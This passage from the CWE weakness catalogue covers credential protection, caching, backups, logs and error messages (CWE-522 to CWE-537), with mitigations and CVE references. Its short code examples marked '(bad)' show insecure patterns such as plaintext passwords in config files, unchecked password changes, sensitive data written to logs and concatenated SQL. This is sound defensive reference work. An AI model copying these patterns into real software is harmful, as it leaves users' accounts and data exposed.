Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ChildOf	C	287	Improper Authentication	630
ParentOf	B	256	Unprotected Storage of Credentials	562
ParentOf	B	257	Storing Passwords in a Recoverable Format	564
ParentOf	B	260	Password in Configuration File	573
ParentOf	B	523	Unprotected Transport of Credentials	1095
ParentOf	B	549	Missing Password Field Masking	1122
ParentOf	V	555	J2EE Misconfiguration: Plaintext Password in Configuration File	1128

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain access to user accounts and access sensitive data used by the user accounts.*	

Potential Mitigations

Phase: Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Phase: Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Phase: Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
    SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java *(bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: Java *(bad)*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 5:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

Reference	Description
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0681*
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0944*
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	1873
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
50	Password Recovery Exploitation
102	Session Sidejacking
474	Signature Spoofing by Key Theft
551	Modify Existing Service
555	Remote Services with Stolen Credentials
560	Use of Known Domain Credentials
561	Windows Admin Shares with Stolen Credentials
644	Use of Captured Hashes (Pass The Hash)
645	Use of Captured Tickets (Pass The Ticket)

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-523: Unprotected Transport of Credentials

Weakness ID : 523 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1091
CanAlsoBe	B	312	Cleartext Storage of Sensitive Information	693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Operation

Phase: System Configuration

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

CWE-524: Use of Cache Containing Sensitive Information

Weakness ID : 524 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.

Extended Description

Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations. A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources. If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305
ParentOf		525	Use of Web Browser Cache Containing Sensitive Information	1097

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	1943

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
204	Lifting Sensitive Data Embedded in Cache

CWE-525: Use of Web Browser Cache Containing Sensitive Information

Weakness ID : 525 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	524	Use of Cache Containing Sensitive Information	1096

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.*	

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Phase: Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	1943

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

CWE-526: Exposure of Sensitive Information Through Environmental Variables

Weakness ID : 526 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Environmental variables may contain sensitive information about a remote server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1062

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Protect information stored in environment variable from being exposed to the user.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere

Weakness ID : 527 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

Extended Description

Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	

Potential Mitigations

Phase: Operation

Phase: Distribution

Phase: System Configuration

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Weakness ID : 528 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	

Potential Mitigations

Phase: System Configuration

Protect the core dump files from unauthorized access.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk

CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID : 529 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	

Potential Mitigations

Phase: System Configuration

Protect access control list files.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID : 530 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A backup file is stored in a directory or archive that is made accessible to unauthorized actors.

Extended Description

Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.*	

Potential Mitigations

Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-531: Inclusion of Sensitive Information in Test Code

Weakness ID : 531 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1113

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Distribution

Phase: Installation

Remove test code before deploying the application into production.

Demonstrative Examples

Example 1:

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-532: Insertion of Sensitive Information into Log File

Weakness ID : 532 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

Extended Description

While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.

Different log files may be produced and stored for:

- Server log files (e.g. server.log). This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
- log files that are used for debugging
-

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1111

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012
MemberOf	C	199	Information Management Errors	1852

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Phase: Distribution

Remove debug log files before deploying the application into production.

Phase: Operation

Protect log files against unauthorized read/write.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Demonstrative Examples

Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

Example Language: Java *(bad)*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Example 2:

This code stores location information about the current user:

Example Language: Java *(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 3:

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

Example Language: Java *(bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
            + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose

the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Observed Examples

Reference	Description
CVE-2017-9615	verbose logging stores admin credentials in a world-readablelog file *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9615*
CVE-2018-1999036	SSH password for private key stored in build log *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1999036*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO13-J		Do not log sensitive information outside a trust boundary
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
215	Fuzzing and observing application log data/errors for application mapping

CWE-535: Exposure of Information Through Shell Error Message

Weakness ID : 535 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	498

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-536: Servlet Runtime Error Message Containing Sensitive Information

Weakness ID : 536 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	498

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.*	

Demonstrative Examples

Example 1:

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Example Language: Java *(bad)*

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String username = request.getParameter("username");
    // May cause unchecked NullPointerException.
    if (username.length() < 10) {
        ...
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-537: Java Runtime Error Message Containing Sensitive Information

Weakness ID : 537 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	498

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Do not expose sensitive error information to the user.

Demonstrative Examples

Example 1:

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file

to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

Example Language: Java *(bad)*

```
public class InputFileRead {
    private File readFile = null;
    private FileReader reader = null;
    private String inputFilePath = null;
    private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
    public InputFileRead() {
        inputFilePath = DEFAULT_FILE_PATH;
    }
    public void setInputFile(String inputFile) {
        /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
    }
    public void readInputFile() {
        try {
            reader = new FileReader(readFile);
            ...
        } catch (RuntimeException rex) {
            System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
            System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
        } catch (FileNotFoundException ex) {...}
    }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

Example 2:

In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a FailedLoginException and output the failed login message to the error page of the service.

Example Language: Java *(bad)*

```
public class BankManagerLoginServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        try {
            // Get username and password from login page request
            String username = request.getParameter("username");
            String password = request.getParameter("password");
            // Authenticate user
